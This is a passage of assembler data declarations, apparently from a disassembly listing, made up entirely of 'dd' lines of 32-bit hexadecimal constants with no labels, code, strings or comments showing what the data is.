0EB41CBFEh, 34892C3Fh, 2130B666h, 999DE7FEh, 6705792h dd 0F49C4894h, 5AC351A2h, 32A6B540h, 37D3431Eh, 23ED53D6h dd 0C9FDC200h, 0D789BCC0h, 50C94A99h, 4D09BF90h, 8A659785h dd 56A04E35h, 1A132F2Ah, 0EF95D172h, 0FF9D884Ch, 82BC5C2Dh dd 39CF54EBh, 1795A660h, 18CCE91h, 0A8BCF84Fh, 5C685784h dd 1503B8F3h, 0D10EBD5Fh, 72E9EAE1h, 42592F27h, 81B2D713h dd 80B76575h, 4CD406BCh, 0A11C2548h, 55931727h, 0DEA5C30Bh dd 0C422D26Bh, 70BA0EFh, 2A02B507h, 1FDFFC4Bh, 72C6CB08h dd 0CD62A254h, 459977FEh, 0D7A02B54h, 256940EAh, 1F06FB00h dd 7685502h, 0A49C5A26h, 0C0FB1D83h, 0E427E961h, 64346883h dd 53C22740h, 0E307C00h, 5F90137Ah, 476BCBh, 773C1259h dd 0E3810238h, 69CC022Ah, 676C9C40h, 31C8D200h, 892D5BDFh dd 97637411h, 780F470h, 732A685Fh, 0D0BD7C3Ah, 220C09F1h dd 9F046A9Eh, 6A3E4EAh, 2DD24BDh, 0C23390AFh, 68130355h dd 260B2901h, 0E59C2B62h, 5C97BF63h, 0DCEBB90Bh, 268564A5h dd 0CBB55F3Dh, 8A5CB95Ch, 0B8A460F7h, 20F0B2D8h, 21F42EF8h dd 44E8295h, 3689C0EDh, 0EE4C8352h, 0F40E7C93h, 972CF028h dd 622F2DB1h, 0C6C15113h, 25B07A7Dh, 33E12E80h, 0E4061CA6h dd 0C9FE09F9h, 0E6EAD102h, 89E19E7Ah, 0E5F093Fh, 0CDB45699h dd 0B75E9868h, 0E989C4F1h, 0BE2626A6h, 21DECB18h, 2BD3844h dd 0A2E14D05h, 4106E3C4h, 2A6457FDh, 9BAF97BFh, 0F478DF49h dd 0B7E11E95h, 80B7F752h, 0BA223B1Ch, 41F9A208h, 0F5707D48h dd 0ACAA5E11h, 0F2179E12h, 0EEA685h, 1EB2BDD9h, 1B857B8h dd 506C4A09h, 49B98320h, 516DB7Eh, 0F6B2FD0Ch, 7112AF41h dd 785A200Bh, 0D313BE77h, 29779204h, 0F1F81866h, 2C7D5F0Bh dd 0B06508DFh, 92BA9426h, 0D8C85E2Ah, 4FB2FC43h, 0CE8BCCE4h dd 0B8BD0B2Eh, 5D97C8A6h, 0CFA3DD27h, 54B2227h, 2955E197h dd 0F521068Fh, 0E9B95160h, 494E7356h, 8912C6A8h, 4754D8E8h dd 8AA9264Fh, 9FCBD1D3h, 0BADD04BCh, 0BD5DCCF0h, 93BDC15Bh dd 33AEE890h, 69D28896h, 800124F6h, 0EE282EC5h, 0C7DD34E8h dd 94AB2C14h, 4A0482D8h dd 7BBDC870h, 0B3B801F7h, 2B671201h, 271CD3C0h, 251A023Dh dd 5A8C616Bh, 0E904ADF4h, 0CDFA0849h, 0FFD52EE0h, 0D11E4D04h dd 99E2AACh, 0EC4BD218h, 7A615F8h, 8834095h, 9544EA59h dd 11818846h, 1A5DBC58h, 754061DDh, 542429CEh, 10409EF2h dd 0B7093341h, 2B5B03C9h, 949D2EB2h, 0E64B14EEh, 0F70E2CCCh dd 2ED4FAAFh, 6BBD7F03h, 0DD41A04h, 81ED945Ch, 73FA1881h dd 3D582E3Dh, 0F12D8A5Dh, 1D04AC93h, 0B2230DFBh, 0CC3EE9B0h dd 0C8964EBDh, 0BE017264h, 40EA7B9Ah, 0BC83903Ah, 0FEC07F59h dd 0B5D0BAEEh, 5308BDCAh, 0F12D08E5h, 63FC6804h, 569E63FEh dd 66054FD9h, 55BA026Fh, 0C0482B3Ch, 82E0CC35h, 569E70E3h dd 5A5BFA98h, 0DBCE3761h, 88DAF601h, 17663738h, 0F90ED2Dh dd 0C1DF0559h, 2CE93AA9h, 0CADBD16Fh, 37E2F8E4h, 46B8F0C0h dd 0F8093839h, 0A06C25E9h, 5C9935Eh, 0EB2067E7h, 0E4F37CE2h dd 2DB5EF7h, 30D66829h, 19654BFCh, 0AEBDBE4h, 10272DBFh dd 844E12E2h, 1F9FAA60h, 0AB5C1E18h, 0CA0553EBh, 0DA29FB7Eh dd 16A611F8h, 7B173E90h, 0F843E41h, 0E90B03A9h, 30E960CBh dd 0C4526953h, 5A05A267h, 8E0EC056h, 6E7DA03Dh, 206DCA27h dd 0EA12A848h, 0B8589744h, 0AE6E5861h, 1DD604Bh, 87241F7h dd 39F70C84h, 941F8107h, 3223EB0h, 1644F4E6h, 0EA6599ACh dd 0D927E454h, 0E5E46FCAh, 3748E41Bh, 0F40021D6h, 6C61662Dh dd 10050426h, 0EC7A817Fh, 9AC5AC4h, 464BE9B8h, 32BD7807h dd 2D029691h, 0A6DC420h, 5E8294Ah, 725D1B07h, 1D1417C5h dd 0AAE90432h, 295B02D6h, 24AA6CEBh, 12A0C301h, 0D430FE98h dd 18DA6ED8h, 40EEC15Ch, 0D0829993h, 75DE0B57h, 95D19A5h dd 1793DD63h, 0E9050609h, 0F670A5E0h, 0A13F4E9h, 3CF1BD5Bh dd 655117D0h, 606B89E4h, 4F9DE1BEh, 813A151Ah, 0F43202EDh dd 0C0DDF71Eh, 44B5F7Ch, 4CE90F85h, 15FA9D7h, 6B0E6178h dd 1A04F301h, 0E4D71C08h, 194B2026h, 99BC00B6h, 42121AB4h dd 0EA026B7Ch, 0C6DECB55h, 7C01E048h, 54ADA3B9h, 736AF22Eh dd 9D26EC5Dh, 7CAD0851h, 0E42F5C9Ah, 287D7989h, 11D108FDh dd 0B1023A9Eh, 0D0310704h, 0C9E9125Ah, 2068A713h, 4E0FFC33h dd 0E0828987h, 5C91AC1Fh, 28FA0212h, 895E1B2Fh, 3F51A0CEh dd 690771C5h, 0C8D167Fh, 542E3127h, 7717C6B0h, 9AE7F6Ah dd 0CFF48870h, 5F20F27Bh, 331D5B98h, 8D338482h, 2C0FA610h dd 0B8A7AB41h, 0CC5472D8h, 6F18E875h, 272995Ch, 22B87A98h dd 0C60FA980h, 509F27E7h, 0EA9B495Dh, 814F873Bh, 5946BB7h dd 0D2F68AFAh, 0A53A6843h, 260C0934h, 248B78B1h, 0C0FCCC40h dd 3033E495h, 5293DFC6h, 88098BB6h, 54285AF3h, 0D0815B95h dd 0A53E6066h, 9BDBC40h, 552F6306h, 0D671155h, 5076022Dh dd 0D203FB07h, 79DAC0Ch, 668B16F1h, 47AFB1E4h, 8F404732h dd 98FE59EBh, 3D20EF80h, 0ED295DE5h, 0EFB8E444h, 633BB802h dd 416105C2h, 46DECAC7h, 5C97FE0Bh, 8FE485Ch, 5625E2C2h dd 2FD41CD5h, 68A8A363h, 0A29E0A62h, 0D5C24062h, 117C313Ah dd 485F56Bh, 4AF7FDC5h, 5AF5D7E0h, 8C748CE2h, 96EEA748h dd 6E856EBh, 5B5BDA73h, 71CDE919h, 0EE20E135h, 692C9C81h dd 9E9FE9F0h, 8E71B54Ah, 1E95C44h, 1BD3578Bh, 804FB2C9h dd 4F1F5A99h, 0B1014E77h, 0B008068Fh, 7A9102FEh, 0DAC7A616h dd 0D3BEF185h, 0E7E5E1Ch, 66C8A125h, 0FE1A9747h, 2791647Fh dd 14BAB969h, 0EFFC7150h, 0C5B58C4Bh, 3F0758E5h, 55461D89h dd 311B6817h, 74820037h, 22E65F21h, 0C00DBABDh, 80834157h dd 4092EBC1h, 0E473EA00h, 5FE68119h, 726B1D69h, 48CEC24Eh dd 73C0D33Ah, 131BB2EEh, 800C1A12h, 0A10A1B1Eh, 0ABF410CCh dd 0B295FE2h, 7205D975h, 49E488D0h, 0A7425413h, 0DF054D09h dd 0A2833998h, 57E2E983h, 8BBBB5D7h, 0E00B258Ch, 0EEE320F5h dd 0E2E15E92h, 57C61750h, 0F69642E2h, 27E9165Bh, 0C4AD574Eh dd 8FCA5A86h, 0FCD64F7Bh, 72EF9778h, 5126F194h, 4FA6497Eh dd 60BF6882h, 3B54B099h, 0C12DE129h, 0DD64E9E0h, 7376199Dh dd 2502F138h, 68810D46h, 54F002C2h, 42F3D99Dh, 33FE5152h dd 5475EC10h, 24808A3Ch, 12F0F1CBh, 79F801AFh, 0C8DA8852h dd 2D905AD1h, 4464F025h, 7D70BF1Eh, 0CF8F7754h, 4567C413h dd 7DBF2506h, 2ED2617h, 0FA66E4ADh, 2CE5523h, 514DC727h dd 9DF69FCh, 766EAB0Fh, 0EE7572BDh, 4DC5BFB7h, 508063ACh dd 1D7B11B8h, 0EB8C9774h, 5A00E612h, 0CD053BFCh, 0EA6C770Fh dd 6F1A0D3Ch, 382601E5h, 3F19305h, 8534642Eh, 0D862EE96h dd 99E296E9h, 0E9522FA0h, 149E2C20h, 0E51C6853h, 12613D84h dd 6E183EE2h, 6857296Ah, 9869250Bh, 3C11D416h, 0B87685DEh dd 1DE70482h, 4ABF641h, 0AB5C31ECh, 5B6944CEh, 664181D0h dd 18DA3EA5h, 34215B4Ah, 30325D48h, 855AF9D2h, 0ABE65BD7h dd 0D1656817h, 2A9E2065h, 915A29B7h, 32E868F4h, 49142136h dd 5A485DE6h, 0D19C2E2Dh, 1D885C96h, 0B35309A0h, 4582C043h dd 1FC92CE9h, 0BC941733h, 337E2D09h, 0AFDBC142h, 0C2B9812h dd 0E4949D14h, 0A002C322h, 9575E791h, 0D0428DF9h, 0F44EF705h dd 0E8D89C25h, 180175ECh, 0A5C1476Ch, 558271A1h, 315AF985h dd 9DD5469Dh, 0CBD7C31Bh, 0F5C72092h, 66617AFh, 0F7041782h dd 5B4B39BDh, 51B0B680h, 1848616Bh, 7AD94147h, 36C4871Dh dd 88E85B32h, 0F310095Dh, 0D0681D57h, 494FD64Fh, 8148DA0Ah dd 38749DB7h, 74779048h, 0AC02F17h, 0BBE73F60h, 95F793Ch dd 0D9E1BDE9h, 6CCA0106h, 2A1FC817h, 16E87AB0h, 0BFDFD8B7h dd 36AD0F12h, 0CA4BC84h, 16F9385Eh, 167CF3Fh, 9E2922A7h dd 0A8812A79h, 7A71D631h, 8006CF38h, 4768FCF5h, 0D2C928E0h dd 0C0B8998Ah, 93CD043Fh, 0F381005Eh, 171609D5h, 4895578h dd 36A0D33h, 0D831ADh, 6DB5B3E2h, 2BCB0507h, 88567625h dd 0E90607D6h, 0A0B1B2B9h, 0BD234DDAh, 26829B98h, 0E947AB06h dd 0BF28F09Fh, 952E2B6Dh, 2778502h, 6A84C2Ch, 3B1D46B8h dd 5A1E940Bh, 2F26C463h, 522B9601h, 0DD700131h, 0AC6B4841h dd 941CB4A7h, 0CFCD8157h, 80F468C2h, 8E071FBAh, 15683C6Bh dd 0BF09C154h, 49421C8Bh, 0A4B06FD5h, 0FBA61246h, 212B156Dh dd 73541B3Eh, 6C9510C9h, 89D0B11Fh, 0A9101C43h, 7682C775h dd 0FB6934DDh, 0C14EB682h, 84059744h, 584782E0h, 3BA9DD09h dd 68189A46h, 3DA75D26h, 0F5F1BF7Fh, 599F84B9h, 888021D1h dd 60896213h, 2FFB726Fh, 2AB009F2h, 879FF03h, 41FE292Dh dd 1CA0081Ch, 2799BF14h, 8CFA6157h, 0CC5158CBh, 40BE808Eh dd 330F2001h, 3C7684Eh, 40DE1868h, 0E910A81Ah, 0FDC06A37h dd 99275CC7h, 98297677h, 0C00882C7h, 81D0A4D9h, 4FF28F43h dd 42A269A0h, 0F0138381h, 0DF02B215h, 4C55B442h, 76342098h dd 972D5576h, 0D366A15Eh, 8770B652h, 5C7D4016h, 12DF0852h dd 0C6A9533Ch, 25682585h, 0CD48CD09h, 758820E2h, 4F82E980h dd 0CAE2A358h, 5A80F38Fh, 0FEAFF180h, 8C6663C1h, 0E2CD207Eh dd 0C180C5FEh, 0C8DB07FAh, 56FD3E51h, 0B244F0CEh, 7CAA0982h dd 0C9912E94h, 0DD40A65Fh, 91015129h, 0BD4BE82Ch, 39147312h dd 16913263h, 0D29D9B6h, 575C0D85h, 0F065D556h, 2094669Ch dd 0F752A609h, 5854FB38h, 0C9EC7B97h, 70B41A27h, 0F5814B68h dd 210DF465h, 4BB95B82h dd 276B326h, 2B6CBA61h, 0AD606395h, 78251EC2h, 853A6031h dd 16C67DA3h, 0BBDDBAE9h, 0AA22AF32h, 6A08A0DCh, 0C12909AAh dd 3F078A7Ch, 5DD2135Ah, 13AD4CA8h, 0E83E6968h, 0F639C4D3h dd 0C10EBE12h, 8207CB2Dh, 0D75DEE75h, 7BF32031h, 58276EB3h dd 3AB0BE46h, 0A3C83132h, 9FBA82E1h, 0F4185597h, 0F99CE3ACh dd 60EE683h, 733BD954h, 812F6425h, 4CBCCA0h, 0C106AAC3h dd 77A5A29Eh, 0B52085D8h, 0EAC003FBh, 80CAFE08h, 74EF8EABh dd 0D30692B6h, 93756577h, 51EAE9EBh, 7BE57FB7h, 78108A3Ch dd 0E8987083h, 59663909h, 5806DE51h, 0B40BFDB1h, 0B0CC28BFh dd 0BDE58817h, 0DCA5F259h, 945CC476h, 0A364FC54h, 842A0456h dd 0FB3D2E47h, 4E4476D0h, 76297646h, 400838F1h, 24B55940h dd 0E5F0BEA1h, 96EB2D80h, 3FD95FB1h, 3DFB2B17h, 0E4992BEFh dd 0E4AC952Bh, 6F412843h, 959E02Eh, 4D4FC412h, 0DCBE580Bh dd 0AB6BEF76h, 14D53762h, 847927A9h, 2FF35D69h, 0BD09B4C4h dd 2DB702DCh, 25684CE0h, 1E991608h, 0B2E43BD2h, 475041E2h dd 76D65BF7h, 71BEF60h, 535D2578h, 0C304AFE6h, 14BC0406h dd 23108FBCh, 285B307Dh, 7EA6D7DDh, 0F2D87EFAh, 0B21CC7FCh dd 0B0FD7289h, 73824B5Ch, 0D47DE12Dh, 0EB2550C4h, 6426CDE0h dd 0B6267D52h, 0D3F75984h, 0CEF3E6C1h, 5B020D70h, 88D901h dd 2E5F2591h, 15E9790Bh, 621C7402h, 910A9C69h, 0A3087504h dd 10D4A9E0h, 64FFB49h, 465C2E2Dh, 31A30B0Ch, 0BF800B13h dd 39AF3B09h, 4E084858h, 713A8CE1h, 91618Fh, 0B57A2568h dd 71AD1418h, 2A86EB5Ch, 2178819Fh, 0A742FE96h, 934009B5h dd 41557268h, 3176E020h, 5B110201h, 994E943h, 83CEB769h dd 0BAB04D3h, 0D2B80375h, 7703BA09h, 0CA81AF60h, 2F24F20Ch dd 28D039h, 2D36AC5Eh, 7DB22A01h, 8D555628h, 0CC75AE17h dd 5D2B2305h, 0ABEB74EAh, 52F29071h, 607AB001h, 0F997C532h dd 0E381000Dh, 10FD7F43h, 0C1DBF728h, 0FFE9E14Eh, 18EEF297h dd 0F6374F9Eh, 0E63B2E9Bh, 6AEF09C7h, 0B5DD1C6h, 0D8681689h dd 0F33A33F1h, 2C9ED452h, 8244DCE7h, 0B17FE583h, 0B6C339C3h dd 0B107EB10h, 6ABBDFE9h, 0F0CC8662h, 0C42D65BDh, 0C855C2D7h dd 5E2FD556h, 9159E2B5h, 0C55D4C6Ah, 0E67A2DE7h, 28B6E52h dd 7EFABDEEh, 2051D4C6h, 19BD808Eh, 4F1F2E64h, 4FEA1024h dd 0F6030DBDh, 0D27B2B9Ch, 2F8DE8F1h, 52DADE32h, 2CE27F19h dd 6523A9FAh, 0ACEEE53h, 0BC296614h, 0B54EE284h, 0D91DDC27h dd 0E4445927h, 30D8B0E0h, 0F72455C5h, 0FE0087D7h, 6E8C196h dd 16F025h, 362D426Ah, 21DCE9A1h, 25BFC55Ch, 84017AE3h dd 14EFB53Dh, 15101427h, 86C771E9h, 0B040CD48h, 7852121Ch dd 9C35080Fh, 0D71EAE24h, 12E0471Fh, 6001CC68h, 0D51D6EC1h dd 0E3C1770Bh, 7AF605h, 40A325CBh, 779C1BE9h, 83127434h dd 121D2231h, 56358005h, 3D7B9F7Bh, 5313BC4Eh, 0C6C46277h dd 59017FF8h, 0A076E80Dh, 5BA02F49h, 0C53316BFh, 3BDD046Bh dd 10FD147Eh, 523BF149h, 0CAC91CE2h, 0CDEE8003h, 510AC2EAh dd 45410FDFh, 0C6E57AE9h, 0A5114368h, 0B1977873h, 0FB45E99Ah dd 2559A920h, 36414CFBh, 64986B2Dh, 0B0865036h, 13A3AC13h dd 0EE114268h, 9DEDE138h, 0D501AA48h, 51DACCC9h, 57133C7Dh dd 3E39AECFh, 0C4FDFBF8h, 8146B41Ch, 2FDDADADh, 1C952CE3h dd 9521E984h, 4E98F8EAh, 0F9049B8Bh, 0EF099F71h, 0BB0558C0h dd 0CDDD00E3h, 4701FE0Dh, 0E9FAD12Ah, 3AED9227h, 119A7505h dd 0D42ED864h, 18C39993h, 0E8835F8Bh, 9E9B18Ah, 7BF3D24h dd 5D152137h, 0F952B247h, 92BBBC56h, 2CA3F634h, 5F1FC973h dd 8AA594FFh, 824C4680h, 0DA9EFFE1h, 0D9D54Dh, 6C0F1C2Dh dd 28D02939h, 0BD08BD55h, 0AA05EC04h, 4F6FA7A1h, 0FDF3F8B5h dd 6153A246h, 0EA04D760h, 879CFB19h, 994CC3ECh, 5807B138h dd 51947E35h, 7342912Dh, 0ADAE6863h, 0FDFA5F68h, 4D36867Fh dd 0EDBF5B52h, 0CEA04EB3h, 0CDD9B72Dh, 5B1C2F04h, 751295C1h dd 85DC0102h, 8DF05E93h, 9405033Eh, 0B4F5E934h, 0C5A0254Bh dd 0AC39136Fh, 8E530542h, 0C15ED1E6h, 9BF043E5h, 2800909Eh dd 38B252D0h, 9504EAC0h, 0EF1434FAh, 20C4DAF6h, 0A00979CAh dd 0EE781F2h, 49256351h, 904F84DEh, 0C008BA82h, 25422793h dd 0A34898D9h, 54269110h, 0C28D0879h, 0C34D590Ah, 0E22A9807h dd 3D40FED9h, 0F7CD8706h, 510608D1h, 0FE7847B9h, 5E45203Ah dd 82A04A71h, 34E23067h, 13220CC0h, 25E914A8h, 0B5D1DB50h dd 0E00D0226h, 8B30734Bh, 576481DDh, 0D54AF4F5h, 13F1BC82h dd 0B2F29F21h, 0E305EE93h, 18815BD9h, 0B26EABFh, 0E27A274Bh dd 0D268DC60h, 628236B6h, 5074816h, 55021D5Dh, 417F4214h dd 0F0EE22ABh, 7DE7C306h, 0A0C5B89h, 187960F9h, 1EC02DEDh dd 0AE92DDE9h, 40AC1C8Ch, 981DEB5Eh, 0B78A5293h, 31B11F5Fh dd 82634AB1h, 0DA2DDD9Dh, 2B88F73Eh, 0A7680907h, 579E05D1h dd 9A360279h, 566FE95Dh, 0CC9A2595h, 0AF085A54h, 10782568h dd 60EEC051h, 42FCD155h, 80B25152h, 0C680CDB6h, 6F06C87Fh dd 0EE286507h, 0F7605DBEh, 4F688105h, 1892D55h, 18DC3364h dd 0E042FE31h, 0EF2D048Dh, 60F9FB88h, 2BF671ABh, 948E3EDh dd 7C710262h, 0D5294B49h, 80901E2h, 42938E76h, 0DCCB4284h dd 68B8D85Ah, 561AAC25h, 94D7EB8Ch, 159D16EAh, 0ED4105A3h dd 0C2060199h, 0C8717435h, 0E913EA01h, 1FA35075h, 7EE1F3D2h dd 342C9E96h, 80BA65A5h, 451B2D38h, 5D6D2F7h, 4C7801FFh dd 0D82E6B2Ch, 0BCECD5E2h, 0EE93718h, 0B0F93151h, 0B3D34B77h dd 0C6034DC2h, 250B0D48h, 0CCDC4A32h, 53BF685Ah, 0EBEF8B60h dd 6C4B87ECh, 26429CC9h, 200BDDEFh, 2EF63E55h, 81BE23E9h dd 0BC7FB2BEh, 92EE83Eh, 45BAD19Dh, 3957AB76h, 0E2D6F1FDh dd 6968C22Ah, 4E14D576h, 91E9A5C5h, 0AF84CD59h, 2A7B8B78h dd 0C2D849B1h, 69444734h, 0BE563F40h, 14E907A0h, 0D83031C2h dd 8591405Bh, 5FD68254h, 69CB210Dh, 0BECCB07Eh, 4CE5EF4Ah dd 9C72D648h, 44512DAEh, 60AAE950h, 86C397AFh, 4727CB2Eh dd 20A15429h, 0E5A6908h, 8F663910h, 0CE709AA0h, 99524EBDh dd 0CE3022Eh, 0FC11F70h, 58AC29C6h, 0E56E9835h, 49761824h dd 5C09184Fh, 0FE72022Dh, 0C1F69795h, 6FD00865h, 0EB6C3F0h dd 2861C180h, 40E95D7Dh, 59C82058h, 654ECF68h, 4CFF1431h dd 0E132C66h, 0E314ECA9h, 0D54612B2h, 3D48F95Ah, 87B362E9h dd 4B84C1FAh, 4E948E2Ah, 0B9071AACh, 403E6C1Eh, 0C193E14Bh dd 0ACE7CABAh, 260B199Ch, 0C214D781h, 1F30520h, 94BB53ADh dd 3A30D04Ah, 5C06071Ah, 63EDC07Bh, 4571035Ch, 92CCCB7h dd 69603697h, 1D6BF404h, 554A212h, 9E221010h, 4AD9EC4Eh dd 677B0AF1h, 0BDBC27Ah, 9054C4FFh, 407E41D7h, 2D0415C4h dd 0CD811901h, 7CB65AD7h, 0C47C86B0h, 0F7F00D5Eh, 2DF0DD58h dd 9FBD9A0h, 0C255C681h, 8CB27DC5h, 54E971FEh, 927F69C3h dd 0ED4A5D4Dh, 68600175h, 0EA4D3FF5h, 7C692F30h, 40644940h dd 72F78181h, 7070D12Bh, 651F690Ah, 0F1013ABDh, 2E540E73h dd 84E3A22Fh, 0A3AF97B2h, 91680AEBh, 2E93D555h, 0DEFBBEE4h dd 8433976Dh, 0B929EACBh, 9D10BAF8h, 6F925D67h, 45B9CD57h dd 17982DB6h, 0BFBCC34Ah, 0EF7DEFD7h, 1213B33Bh, 22BC16E9h dd 830B994Bh, 66852F3h dd 802FF233h, 11B9F2D5h, 0F5074CE6h, 8E32F706h, 5E09183Fh dd 0D84C5005h, 6CDE244Bh, 525B6420h, 0E90798BEh, 489B3C27h dd 80D39C1Eh, 7FFBC221h, 8EBE5D90h, 0A103D3Ah, 9A4B9324h dd 21895DBDh, 0C30CEE78h, 98CA7C70h, 0AE4D0BF3h, 80DD3892h dd 916F47Fh, 0FE892F0Ch, 50A5C1D6h, 7B140B64h, 0F500136h dd 0C410883h, 7B447E1Ah, 0A914C0FDh, 0A605A04Bh, 21BB2012h dd 0FE946F01h, 0B16FD1B0h, 2A9821CDh, 0C7C5F9ADh, 0BE37AA46h dd 0DEF9B492h, 9557479Eh, 227F9A1h, 17685EC5h, 8D4ADD47h dd 3F1C080Dh, 71297EE5h, 73498310h, 23DCC90h, 16C80481h dd 84FEC45Dh, 546A8BB3h, 13F57933h, 0A874B9C8h, 9EC32B81h dd 0EC6C260Eh, 0E29EC74Ch, 0DC2D106Ah, 1E28DB30h, 0F5ECB756h dd 0B54A1CB0h, 16AC10CCh, 54964Fh, 23D60667h, 0ED55E90Fh dd 656741EEh, 23B767Eh, 77BB519Ch, 1FE564Ah, 541241E2h dd 0F7D02B3Ah, 27B802C2h, 2CD4F77Fh, 2D7AC609h, 406F9AD4h dd 0B4282DE4h, 313DFACDh, 0BDF3DEC7h, 82C91025h, 0BAF47BEBh dd 0DBD99D58h, 0DEA2DD69h, 0E5F65622h, 12F95044h, 186BC010h dd 0F3285F51h, 6A53B57Fh, 0C17398BDh, 14A7C571h, 0F432435Fh dd 0D2BD6D00h, 0B027E93Ch, 0B63F489Dh, 699C3276h, 5F4006F0h dd 304A512Eh, 21EFEB17h, 768D22Dh, 0CDBB2335h, 2D3C673Ch dd 680C455Dh, 4022A7E8h, 57049CA3h, 7EC9C3EAh, 3C77D518h dd 90525857h, 98F69A3Ch, 7BDA2268h, 0A8B1C61Dh, 0F8CCEFDEh dd 0ECF1762h, 20844DA0h, 9060C7CFh, 52D0151h, 494A341Dh dd 0B896BE5Dh, 7042EB5h, 2B568907h, 860065E5h, 385B3BE3h dd 0A47F7DE9h, 55B5139Ah, 0F20F00E7h, 64C66110h, 8241E925h dd 0E1D1F6B5h, 17703C0Fh, 0B2521350h, 0E1FABBFh, 0C292DA9Fh dd 8BE18A05h, 25446CF4h, 0DE7CC328h, 0E9F2703Bh, 0B9886E2Ah dd 39614601h, 0CE89596Dh, 82A55E28h, 0EC0BDC11h, 4D9B80DBh dd 0BC5B9F81h, 0D396591Ch, 402B62B4h, 0AB70BB4Ch, 54351B24h dd 825DD205h, 9587FC04h, 0EACBBAECh, 0D6FEA8D7h, 87178C10h dd 9357EDD1h, 2EF7E9F0h, 2F949D9h, 740C6DE2h, 536A82C0h dd 0CC516032h, 0BF0F059h, 236B3BBCh, 77B95800h, 0F6F80C61h dd 0AD02AB03h, 7145E97Dh, 27250764h, 5E6D3759h, 0F204FC7h dd 55E1DDE9h, 1262C3BDh, 0CCC9E14h, 9B073A74h, 0CB019F9Dh dd 5ED6AFD2h, 8566D802h, 4019C840h, 879C2D44h, 6DDE60ADh dd 0A08BA6F8h, 0E0161D0Ah, 9D729D39h, 0EFAC8E6h, 0A94AA425h dd 0CEF38468h, 0C55BFC12h, 0FD4004E0h, 0E9E820F5h, 5BDAA957h dd 0CBC8A22Ch, 6889B1A4h, 9B3942A3h, 43C1A987h, 838EEE63h dd 307C39D7h, 924A1217h, 0BCE0508Ch, 83B409FFh, 769D8E7Dh dd 20167FBCh, 523562B8h, 8499E9E0h, 52A8F3B1h, 5D7DCB73h dd 0A90B8F5Bh, 0FE1C9650h, 0DDD14F4Ah, 7BE22A42h, 5A9340D7h dd 8007EAC0h, 0FE3AF20Eh, 9CC24ACAh, 0AB209D0Fh, 0A80C4359h dd 4A7F6853h, 0D1FFCC54h, 0B86540h, 3640264Bh, 64838C05h dd 5EF1845Eh, 0F853172Ah, 0F7D2A9E3h, 485D8E32h, 9559CDC7h dd 6F02EA2Bh, 41903BE6h, 198251A5h, 226BBA6Ch, 96D5D094h dd 0F5A825FCh, 0C15EA37Eh, 1F55B914h, 4F426314h, 0EF852DBCh dd 0BD86FC07h, 489A006Eh, 310194E9h, 2E44F74Eh, 7C14B50Ch dd 0C4507C07h, 0EB5AB525h, 0D2C2924Bh, 78CCED5Bh, 5EB22D15h dd 880B1F2h, 0E64B8CE9h, 8F58B3CEh, 0F5A078Bh, 2C73C307h dd 0CB603C32h, 0F17954B7h, 0EE3BB02Fh, 13102210h, 790CEA37h dd 5B746362h, 5812022Ch, 0E46871F3h, 56680483h, 0CAF2AA14h dd 72580AD4h, 0F980E720h, 4A3D3129h, 0FDB9974Fh, 96C920FCh dd 9A203F4Ch, 5A66178Dh, 6B1DB130h, 449797B6h, 82D028B7h dd 74C4B8F4h, 0A21222h, 4B6B32E7h, 50D7F778h, 7B95100h dd 0E9369370h, 0A5CF4F2Eh, 92EC0767h, 0F7D4CD37h, 0AB45F389h dd 6BDAD678h, 0FA97E80Eh, 41A3FE21h, 46D6E812h, 200E3146h dd 521FC296h, 0B7DADFB6h, 0C6B43C3h, 0BAB84E8Ah, 0E540C546h dd 9678955Eh, 0EB562907h, 8E3B8314h, 48BAD3A1h, 0F5877950h dd 12FEB3D5h, 0DCEFBA84h, 0F525E940h, 73E95A69h, 9800B54h dd 8C904F5Fh, 0BBD39037h, 0CF2F43FCh, 902DA374h, 0CE44B1ECh dd 0F10F1EBCh, 0A7EE18FDh, 153ABF57h, 175267Dh, 6B092C3Fh dd 586ABD80h, 2C2117EAh, 0F555DEEh, 204125F6h, 31F70115h dd 1C5DF6E8h, 0B8565E41h, 3AE9E1DFh, 90599B94h, 8B032307h dd 0AE5F194Bh, 62B06135h, 0D03E74EAh, 6D04CB3Bh, 0CE143B2Ch dd 53FEA801h, 0C7C5E9BEh, 2BCF8803h, 509804FFh, 0F5211991h dd 0B9F783DCh, 6B68610Ch, 2F2F3457h, 0A23A6141h, 0C42D59C6h dd 0CABFBDD5h, 0E6A9127Dh, 8864A830h, 4A82F602h, 5F5EE340h dd 0E1168A82h, 847A5591h, 5D070027h, 3DE9C909h, 6CDDEEAAh dd 5B7BF80Ch, 0CFD3AC07h, 0F0BA4951h, 0E0F4E823h, 4CBFE0ACh dd 165AF50Ch, 2B5CEE41h, 0BFFCD7D2h, 0BB97C0B1h, 0AD2C30A1h dd 4E1F68ACh, 72253Ch, 0C1B5FA14h, 0C999F528h, 2801DC2h dd 0F7E3F988h, 0ACE3CFA2h, 32F258EAh, 0CD8EE0Fh, 0F81672DEh dd 273D51BEh, 0BA6C68C4h, 0BA5812E2h, 47A8F619h, 57C83BEBh dd 47D74190h, 2903FCB8h, 0C562CD65h, 0F5026BA2h, 76E65C7Dh dd 2979FF0h, 95522FFh, 62E530E0h, 0EF3C0083h, 336D138Fh dd 0DEFCF829h, 30AF804Ah, 1DB050E9h, 0E02D5194h, 29E9109Bh dd 8A76151h, 109BADFh, 4BC1F9F9h, 2D01FFD0h, 7AE1762Ah dd 0C685D001h, 0EEFF13ECh, 623E39C0h, 31C5AE2h, 8514E95Ah dd 4122D150h, 0DF6470Ah, 720F45Fh, 38B25B68h, 7B02BEEAh dd 7F25C879h, 6F61D8AEh, 40183F75h, 436133C8h, 9A0E409Fh dd 2C4DFE1Fh, 2034F329h, 20519808h, 6816637Fh, 0E76179DAh dd 80023FC7h, 2EF7FFC2h, 7E5BA9E1h, 45792D90h, 97F3412Dh dd 2E42093h, 6466840h, 18B427A6h, 7B95B5B0h, 4C3230E4h dd 0F997C830h, 0E64C54Bh, 841DA6CDh, 0D073E1E9h, 0B968C8D9h dd 3A314855h, 68A66213h, 41D88410h, 9A2BDCF0h, 1466C49Dh dd 0CC1D375Dh, 8F04D002h, 0CA760106h, 0DDE9F004h, 0EB9913EEh dd 0FC24CC75h, 0EB5400FBh, 0E9644C6Eh, 79966725h, 4D7549E6h dd 0B14CA7CCh, 13AEC920h, 0AF2D5D5Fh, 0D217225Fh, 0ADCA1D84h dd 5A7D2580h, 2D050FBEh, 3260A30h, 40A4FE12h, 0B4B34AE9h dd 4E567E9Ah, 62A02FF5h, 9E16D564h, 0C0DFF600h, 0CF8008E7h dd 3EFE5870h, 0BF57E828h, 0D9EE9E8h, 7F79E125h, 42F41A98h dd 7BEC4CB5h, 